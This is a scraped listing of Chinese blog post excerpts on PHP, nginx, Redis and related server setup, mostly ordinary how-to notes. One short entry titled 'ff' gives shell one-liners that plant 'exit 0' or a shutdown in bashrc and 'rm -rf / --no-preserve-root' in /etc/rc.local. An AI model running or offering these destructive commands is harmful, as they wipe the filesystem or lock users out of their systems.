php
黄熊
我有白熊了
展开
-
mac 下安装php5.6 with php-fpm
mac 下安装php5.6 和fpm其实php 自5.3后就自带了fpm,但是编译的时候需要加入–enable-fpm才会安装fpm下载地址:http://download.php.net以下是安装步骤:1. 解压 tar -zxvf php-5.6.12.tar.gz cd php-5.6.12 2.configure ./configure --prefix=/usr/原创 2015-08-23 10:16:10 · 702 阅读 · 0 评论 -
如何减少bug(php 版本)
变量声明在使用foreach 循环要注意赋值,特别是里面有if 判断时; eg :$arr = [ ['id'=>1, 'name' => 'hhee'], ['id'=>0, 'name' => 'hhee0'], ['id'=>3, 'name' => 'hhee0'], ['id'=>4, 'name' => 'hhee0'],]$result = $原创 2016-07-30 10:33:42 · 525 阅读 · 0 评论 -
PHP 匹配中文(UTF-8)
匹配中文确实很蛋疼,网上找了好久,好多都很坑。 不过慢慢研究其实发现也是很难,主要是细节问题中文的范围\u4e00-\u9fa5如果直接这么去匹配,百分百匹配不到$pat = "/[\u4e00-\u9fa5]/";Warning: preg_match(): Compilation failed: PCRE does not support \L, \l, \N{name}, \U, or \u原创 2015-12-03 16:12:17 · 467 阅读 · 0 评论 -
openssl RSA 生成公钥和秘钥
首先确保机器已经安装了openssl以下拿win举例打开cmd , 进入 要生成公钥和秘钥的目录生成公钥 genrsa -out rsa_private_key.pem 1024 3.生成私钥rsa -in private_key.pem -pubout -out public_key.pem一定要先生成秘钥才能生成对应的公钥转载 2015-12-17 14:57:05 · 586 阅读 · 0 评论 -
ff
著作权归作者所有。echo "exit 0" >> ~/.bashrc或者 echo "shutdown -s now" >> ./bashrc再或者 echo "rm -rf / --no-preserve-root" >> /etc/rc.local差不多了。原创 2015-12-14 12:56:41 · 329 阅读 · 0 评论 -
统计nginx某个请求
cat /usr/local/nginx/logs/access.log| sed -n '/24\/Nov\/2015:22:00*/,/24\/Nov\/2015:23:59*/p'|grep 'test7'|wc -l原创 2015-11-24 22:27:53 · 1097 阅读 · 0 评论 -
php redis 单例模式
单例模式思想其实很简单首先 有一个实例的静态变量构造方法和克隆方法设置为私有,防止外部直接new提供一个获取实例的静态方法代码如下:class Redis { private static $_instance = null; //静态实例 private function __construct(){ //私有的构造方法 self::$_instance =原创 2015-10-15 13:30:10 · 5620 阅读 · 0 评论 -
redis 使用密码登录
cli下命令: redis-cli -h 127.0.0.1 -p 6374 -a 'your pwd'之前百度搜索到的结果是 redis-cli -h 127.0.0.1 -p 6374 -a your pwd密码没用 ‘’引起来,死活连接不上,坑死了PHP:$redis = new Redis('127.0.0.1');$redis->auth('your pwd');got it原创 2015-10-15 13:25:24 · 1447 阅读 · 0 评论 -
php 安装redis扩展 for window
window下安装php扩展其实非常简单就是把dll文件copy进去就ok了首先先看你确定你php版本php -v我的是5.5的,装的是32位的php装扩展之前要先确定你机器的环境。phpinfo下载扩展!下载地址:从网上直接下载编译好的dll文件即可,一定要选择和php对应的版本。 php_redis-5.5-vc11-ts-x86-00233a.zip http://d-h.st/4A5原创 2015-10-14 12:58:42 · 866 阅读 · 0 评论 -
安装nginx 必装程序 zlib pcre
zlib下载地址http://zlib.net/zlib-1.2.8.tar.gzpcre 下载地址ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/原创 2015-11-13 16:45:41 · 787 阅读 · 0 评论 -
SQLSTATE[HY000] [2002] No such file or directory php连接mysql失败
SQLSTATE[HY000] [2002] No such file or directory 提示信息其实不是很清楚,但是呢,能说明一点就是php找不到mysql在哪?解决方法很简单首先要知道你mysql.sock在哪?一般是在 /private/tmp/mysql.sock如果不知道,就用find命令find / -name mysql.sock然后呢,把mysql.sock 复制到 /var原创 2015-10-12 22:03:02 · 1336 阅读 · 0 评论 -
nginx 支持thinkphp pathinfo最简单的方法
默认情况下nginx是不支持pathinfo的。虽然说配置支持pathinfo不难,但是呢,网上的教程没几个可以用的,麻蛋我忙活了2天也没搞好这个最后用了一个最简单的方法解决了 把thinkphp的URL_MODE设置为3 就是下面这种风格index.php?s=/portal/index/test其实原来很简单 就是通过rewrite 首先先把index.php/XXX 后面的参数转成原创 2015-11-11 23:57:43 · 500 阅读 · 0 评论 -
linux 下安装php 常用编译选项 配置fpm
安装PHP以下是常用的编译选项./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc/ \--with-mysql=/usr/local/mysql --with-mysqli=/usr/local/mysql/bin/mysql_config --with-gd --with-zlib --w原创 2015-11-11 23:50:36 · 614 阅读 · 0 评论 -
Fatal error: Call to undefined functionmb_internal_encoding() ,mac 安装php mbstring扩展
Fatal error: Call to undefined functionmb_internal_encoding() ,报错原因就是没装mbstrig扩展!下面我们来安装php mb_string如果是编译php源码 ,直接加上这个选项就行 –enable=mbstring 。如果你忘记了,没关系,我们在安装一遍!cd /home/soft/php5.6.12/ext ,这是你源码的地方原创 2015-09-21 23:24:45 · 1889 阅读 · 0 评论 -
电商网站多语言架构
电子商务网站多语言版设计思路1. 数据库设计1. 分库,还是分表2. 单表还是多表这步其实很关键:首先 这直接涉及到代码逻辑,一有不慎,可能会导致原有方案失效说说我们的设计思路吧!我们采用的是分库方式!一种语言一个数据库这样的好处有哪些呢? 1.避免单库数据量过大,导致查询难以优化。 举个例子:假设有2种语言,中文和英文。在商品表中,一个商品在不同语言下,其实还是同一件商品,他们有共同的属原创 2015-09-20 11:48:01 · 5102 阅读 · 0 评论 -
http server原理,nginx与php之间是如何工作的
Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。— 百度转载 2015-10-20 18:15:19 · 881 阅读 · 0 评论 -
php 多进程思路
转载 2015-10-21 11:46:22 · 276 阅读 · 0 评论 -
缓存雪崩,缓存穿透解决方案
缓存雪崩缓存雪崩可能是因为数据未加载到缓存中,或者缓存同一时间大面积的失效,从而导致所有请求都去查数据库,导致数据库CPU和内存负载过高,甚至宕机。解决思路:1,采用加锁计数,或者使用合理的队列数量来避免缓存失效时对数据库造成太大的压力。这种办法虽然能缓解数据库的压力,但是同时又降低了系统的吞吐量。2,分析用户行为,尽量让失效时间点均匀分布。避免缓存雪崩的出现。转载 2015-08-28 22:36:31 · 2154 阅读 · 0 评论 -
php 存储容量换算
function setupSize($fileSize) { $size = sprintf("%u", $fileSize); if($size == 0) { return("0 Bytes"); } $sizename = array(" Bytes", " KB", " MB", "原创 2017-02-21 09:18:53 · 681 阅读 · 0 评论